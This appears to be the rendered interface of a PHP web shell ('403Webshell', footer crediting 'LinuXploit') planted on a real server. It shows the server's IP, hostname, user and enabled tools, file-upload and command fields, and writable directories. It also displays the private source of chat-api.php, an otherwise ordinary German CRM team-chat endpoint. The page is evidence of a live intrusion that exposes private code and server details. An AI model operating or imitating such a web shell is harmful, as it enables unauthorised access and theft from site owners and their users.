403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside.pacim.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside.pacim.de/web//chat-api.php
<?php
/**
 * chat-api.php – JSON-Endpunkt des internen Team-Chats (ein globaler Raum).
 * Erreichbar nur für eingeloggte Clients (CRM-Session / gültiger Mobile-Token / Terminal-Sitzung).
 *
 * action= init | set-name | send | poll | heartbeat | mark-read | open-ref
 * Gemeinsame Felder: client_id (localStorage-UUID), je nach Kontext t=<mobile-token> oder th=<terminal-hash>.
 */
require_once( __DIR__ . '/includes/config.inc.php' );
require_once( __DIR__ . '/includes/mobileaccess.php' );   // Token-Identität/Scope (nicht global geladen)
@ini_set( 'display_errors', '0' );
error_reporting( 0 );

function chat_json( $a ) { while ( ob_get_level() > 0 ) ob_end_clean(); header( 'Content-Type: application/json; charset=utf-8' ); header( 'Cache-Control: no-store' ); echo json_encode( $a ); exit(); }
function chat_fail( $m, $code = 200 ) { http_response_code( $code ); chat_json( array( 'ok' => false, 'error' => $m ) ); }

// Eigene Verbindung mit utf8mb4 (Emoji-Unterstützung; Standard-Handles laufen auf utf8mb3).
$db    = new MysqliDb( MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB, null, 'utf8mb4' );
$ident = pacim_chat_identity( $db );
if ( empty( $ident['ok'] ) ) chat_fail( 'Nicht angemeldet.', 403 );

$action   = (string) ( $_POST['action'] ?? ( $_GET['action'] ?? '' ) );
$clientId = (string) ( $_POST['client_id'] ?? ( $_GET['client_id'] ?? '' ) );

$profile = pacim_chat_profile( $db, $clientId, $ident );
if ( ! $profile ) chat_fail( 'Ungültige Client-ID.' );
$cpId = (int) $profile['cp_id'];

/** Standard-Status-Block (online, unread, last_id) für init/poll/send. */
function chat_state( $db, $cpId, $lastReadId ) {
    $max = $db->rawQueryOne( "SELECT MAX(cm_id) AS m FROM pacim_chat_message WHERE cm_deleted_at IS NULL" );
    return array(
        'online'  => pacim_chat_online_names( $db ),
        'unread'  => pacim_chat_unread( $db, $cpId, $lastReadId ),
        'last_id' => $max ? (int) $max['m'] : 0,
    );
}

/* --------------------------------------------------------------- init */
if ( $action === 'init' ) {
    pacim_chat_touch( $db, $cpId );
    $name  = (string) $profile['cp_display_name'];
    $msgs  = array();
    foreach ( pacim_chat_messages( $db, 0, 60 ) as $r ) $msgs[] = pacim_chat_msg_out( $r, $cpId );
    $st = chat_state( $db, $cpId, (int) $profile['cp_last_read_id'] );
    chat_json( array_merge( array(
        'ok'        => true,
        'name'      => $name,
        'needs_name'=> ( trim( $name ) === '' ),
        'suggested' => pacim_chat_clean_name( $ident['name'] ),
        'messages'  => $msgs,
    ), $st ) );
}

/* --------------------------------------------------------------- set-name */
if ( $action === 'set-name' ) {
    $name = pacim_chat_clean_name( $_POST['name'] ?? '' );
    if ( $name === '' ) chat_fail( 'Bitte einen Namen eingeben.' );
    $db->where( 'cp_id', $cpId );
    $db->update( 'pacim_chat_profile', array( 'cp_display_name' => $name, 'cp_updated_at' => date( 'Y-m-d H:i:s' ) ) );
    chat_json( array( 'ok' => true, 'name' => $name ) );
}

/* --------------------------------------------------------------- send */
if ( $action === 'send' ) {
    if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) chat_fail( 'Methode nicht erlaubt.' );
    $name = trim( (string) $profile['cp_display_name'] );
    if ( $name === '' ) chat_fail( 'Bitte zuerst einen Namen festlegen.' );
    if ( pacim_chat_rate_exceeded( $db, $cpId ) ) chat_fail( 'Zu viele Nachrichten – bitte kurz warten.' );

    $type = (string) ( $_POST['type'] ?? 'text' );
    $now  = date( 'Y-m-d H:i:s' );
    $ins  = array( 'cm_sender_id' => $cpId, 'cm_sender_name' => mb_substr( $name, 0, PACIM_CHAT_NAME_MAX ), 'cm_created_at' => $now );

    if ( $type === 'booking_reference' ) {
        $bid = (int) ( $_POST['booking_id'] ?? 0 );
        if ( $bid <= 0 ) chat_fail( 'Keine Buchung angegeben.' );
        // Sender muss die Buchung selbst sehen dürfen (keine fremden Daten posten).
        list( $okRef ) = pacim_chat_resolve_booking( $db, $ident, $bid );
        if ( ! $okRef ) chat_fail( 'Keine Berechtigung für diese Buchung.' );
        $meta = pacim_chat_booking_meta( $db, $bid );
        if ( ! $meta ) chat_fail( 'Buchung nicht gefunden.' );
        $ins['cm_type'] = 'booking_reference';
        $ins['cm_entity_type'] = 'booking';
        $ins['cm_entity_id']   = $bid;
        $ins['cm_meta']        = json_encode( $meta, JSON_UNESCAPED_UNICODE );
        $ins['cm_text']        = '';   // unkritisch – Anzeige rein über meta-Badge
    } else {
        $text = (string) ( $_POST['text'] ?? '' );
        $text = preg_replace( '/\r\n?/', "\n", $text );                 // Zeilenumbrüche normalisieren
        $text = preg_replace( '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/u', '', $text );  // Steuerzeichen raus (\n bleibt)
        $text = trim( $text );
        if ( $text === '' ) chat_fail( 'Leere Nachricht.' );
        if ( mb_strlen( $text ) > PACIM_CHAT_MSG_MAX ) $text = mb_substr( $text, 0, PACIM_CHAT_MSG_MAX );
        $ins['cm_type'] = 'text';
        $ins['cm_text'] = $text;
    }

    $id = (int) $db->insert( 'pacim_chat_message', $ins );
    if ( ! $id ) chat_fail( 'Senden fehlgeschlagen.' );
    pacim_chat_touch( $db, $cpId );
    // Eigene Nachricht gilt sofort als gelesen.
    $db->where( 'cp_id', $cpId );
    $db->update( 'pacim_chat_profile', array( 'cp_last_read_id' => $id ) );
    $row = $db->rawQueryOne( "SELECT * FROM pacim_chat_message WHERE cm_id = ?", array( $id ) );
    chat_json( array( 'ok' => true, 'message' => pacim_chat_msg_out( $row, $cpId ) ) );
}

/* --------------------------------------------------------------- poll */
if ( $action === 'poll' ) {
    pacim_chat_touch( $db, $cpId );
    $since = (int) ( $_POST['since'] ?? ( $_GET['since'] ?? 0 ) );
    $msgs  = array();
    foreach ( pacim_chat_messages( $db, $since, 100 ) as $r ) $msgs[] = pacim_chat_msg_out( $r, $cpId );
    $st = chat_state( $db, $cpId, (int) $profile['cp_last_read_id'] );
    chat_json( array_merge( array( 'ok' => true, 'messages' => $msgs ), $st ) );
}

/* --------------------------------------------------------------- heartbeat */
if ( $action === 'heartbeat' ) {
    pacim_chat_touch( $db, $cpId );
    chat_json( array( 'ok' => true ) );
}

/* --------------------------------------------------------------- mark-read */
if ( $action === 'mark-read' ) {
    $upTo = (int) ( $_POST['up_to'] ?? 0 );
    if ( $upTo <= 0 ) { $m = $db->rawQueryOne( "SELECT MAX(cm_id) AS m FROM pacim_chat_message WHERE cm_deleted_at IS NULL" ); $upTo = $m ? (int) $m['m'] : 0; }
    if ( $upTo > (int) $profile['cp_last_read_id'] ) {
        $db->where( 'cp_id', $cpId );
        $db->update( 'pacim_chat_profile', array( 'cp_last_read_id' => $upTo ) );
    }
    chat_json( array( 'ok' => true, 'unread' => 0 ) );
}

/* --------------------------------------------------------------- open-ref (Rechteprüfung) */
if ( $action === 'open-ref' ) {
    $bid = (int) ( $_POST['booking_id'] ?? ( $_GET['booking_id'] ?? 0 ) );
    list( $ok, $url ) = pacim_chat_resolve_booking( $db, $ident, $bid );
    if ( ! $ok ) chat_fail( 'Du hast keine Berechtigung, diese Buchung zu öffnen.' );
    chat_json( array( 'ok' => true, 'url' => $url ) );
}

chat_fail( 'Unbekannte Aktion.' );

Youez - 2016 - github.com/yon3zu
LinuXploit